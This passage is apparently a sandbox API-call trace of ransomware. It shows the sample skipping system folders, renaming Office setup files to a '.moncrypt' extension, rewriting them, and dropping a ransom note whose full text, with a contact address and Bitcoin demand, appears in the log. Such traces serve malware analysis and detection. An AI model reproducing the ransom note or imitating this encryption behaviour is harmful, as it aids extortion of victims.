(pMem=0x555b78) returned 0x440004 [0049.126] GlobalUnlock (hMem=0x440004) returned 0 [0049.126] GlobalHandle (pMem=0x557b88) returned 0x44000c [0049.126] GlobalUnlock (hMem=0x44000c) returned 0 [0049.126] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\", cchLength=0x5b | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\") returned 0x5b [0049.126] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0049.126] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\", cchLength=0x5b | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\") returned 0x5b [0049.126] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69c00, cbMultiByte=11, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0049.132] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\", cchLength=0x5b | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\") returned 0x5b [0049.132] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69c00, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0049.133] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\", cchLength=0x5b | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\") returned 0x5b [0049.134] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 18 [0049.134] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\", cchLength=0x5b | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\") returned 0x5b [0049.134] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 28 [0049.144] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\", cchLength=0x5b | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\") returned 0x5b [0049.144] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69c00, cbMultiByte=10, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 10 [0049.146] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\", cchLength=0x5b | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\") returned 0x5b [0049.146] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69c00, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 8 [0049.147] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\", cchLength=0x5b | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\") returned 0x5b [0049.147] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69c00, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0049.148] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\", cchLength=0x5b | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\") returned 0x5b [0049.148] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 13 [0049.148] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.148] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.148] GlobalUnlock (hMem=0x44000c) returned 0 [0049.148] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.152] GlobalLock (hMem=0x440004) returned 0x557b88 [0049.152] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.152] GlobalUnlock (hMem=0x44000c) returned 0 [0049.152] GlobalHandle (pMem=0x557b88) returned 0x440004 [0049.152] GlobalUnlock (hMem=0x440004) returned 0 [0049.153] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0049.153] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.153] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe076d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0049.154] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0049.154] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0049.227] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.227] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.227] GlobalUnlock (hMem=0x440004) returned 0 [0049.227] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.236] GlobalLock (hMem=0x44000c) returned 0x557b88 [0049.236] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.236] GlobalUnlock (hMem=0x440004) returned 0 [0049.236] GlobalHandle (pMem=0x557b88) returned 0x44000c [0049.236] GlobalUnlock (hMem=0x44000c) returned 0 [0049.236] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.236] CharLowerBuffW (in: lpsz="SETUP.XML", cchLength=0x9 | out: lpsz="setup.xml") returned 0x9 [0049.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0049.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0049.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0049.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0049.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pç\x18", lpUsedDefaultChar=0x0) returned 1 [0049.236] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uç\x18", lpUsedDefaultChar=0x0) returned 1 [0049.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tç\x18", lpUsedDefaultChar=0x0) returned 1 [0049.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0049.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0049.237] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt흘\x18\x06") returned 34 [0049.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", cchWideChar=100, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XMLx", lpUsedDefaultChar=0x0) returned 100 [0049.237] CharLowerBuffW (in: lpsz=".XML", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0049.237] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XMLx", lpUsedDefaultChar=0x0) returned 4 [0049.237] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0049.237] WriteFile (in: hFile=0x190, lpBuffer=0x1e61dd8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61dd8*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0049.238] CloseHandle (hObject=0x190) returned 1 [0049.238] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\я")) returned 1 [0049.239] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe076d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0x54e280 [0049.239] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0049.239] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0049.240] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0049.240] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", dwFileAttributes=0x20) returned 1 [0049.324] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0049.324] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.moncrypt")) returned 1 [0049.325] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0049.325] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0049.325] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x978 [0049.325] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0049.325] ReadFile (in: hFile=0x190, lpBuffer=0x1dbe1c8, nNumberOfBytesToRead=0x978, lpNumberOfBytesRead=0x18e3b4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesRead=0x18e3b4*=0x978, lpOverlapped=0x0) returned 1 [0049.328] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.328] GlobalLock (hMem=0x440004) returned 0x557b88 [0049.328] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.330] GlobalUnlock (hMem=0x44000c) returned 0 [0049.330] GlobalHandle (pMem=0x557b88) returned 0x440004 [0049.330] GlobalUnlock (hMem=0x440004) returned 0 [0049.330] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.330] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.330] GlobalUnlock (hMem=0x440004) returned 0 [0049.348] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0049.349] SetFileTime (hFile=0x190, lpCreationTime=0x18e454, lpLastAccessTime=0x18e44c, lpLastWriteTime=0x18e444) returned 1 [0049.349] CloseHandle (hObject=0x190) returned 1 [0049.349] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.moncrypt", dwFileAttributes=0x20) returned 1 [0049.349] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18d6e8, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0049.349] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.349] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.349] GlobalUnlock (hMem=0x440004) returned 0 [0049.349] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.349] GlobalLock (hMem=0x44000c) returned 0x557b88 [0049.349] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.349] GlobalUnlock (hMem=0x440004) returned 0 [0049.349] GlobalHandle (pMem=0x557b88) returned 0x44000c [0049.349] GlobalUnlock (hMem=0x44000c) returned 0 [0049.349] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0049.349] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e49c | out: lpFindFileData=0x18e49c*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e69c58, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0049.350] GetLastError () returned 0x2 [0049.350] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0049.357] WriteFile (in: hFile=0x190, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e6a4, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18e6a4*=0x649, lpOverlapped=0x0) returned 1 [0049.358] CloseHandle (hObject=0x190) returned 1 [0049.358] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.XML", cAlternateFileName="")) returned 1 [0049.358] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0049.358] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0049.358] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.358] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.358] GlobalUnlock (hMem=0x44000c) returned 0 [0049.358] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.358] GlobalLock (hMem=0x440004) returned 0x557b88 [0049.358] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.358] GlobalUnlock (hMem=0x44000c) returned 0 [0049.358] GlobalHandle (pMem=0x557b88) returned 0x440004 [0049.358] GlobalUnlock (hMem=0x440004) returned 0 [0049.358] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.359] CharLowerBuffW (in: lpsz="WordMUI.XML", cchLength=0xb | out: lpsz="wordmui.xml") returned 0xb [0049.359] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0049.359] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0049.359] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0049.359] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0049.359] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iç\x18", lpUsedDefaultChar=0x0) returned 1 [0049.359] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uç\x18", lpUsedDefaultChar=0x0) returned 1 [0049.359] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0049.359] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dç\x18", lpUsedDefaultChar=0x0) returned 1 [0049.359] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rç\x18", lpUsedDefaultChar=0x0) returned 1 [0049.359] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oç\x18", lpUsedDefaultChar=0x0) returned 1 [0049.359] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wç\x18", lpUsedDefaultChar=0x0) returned 1 [0049.359] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0049.359] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", cchWideChar=102, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XMLt", lpUsedDefaultChar=0x0) returned 102 [0049.359] CharLowerBuffW (in: lpsz=".XML", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0049.359] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XMLt", lpUsedDefaultChar=0x0) returned 4 [0049.359] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, 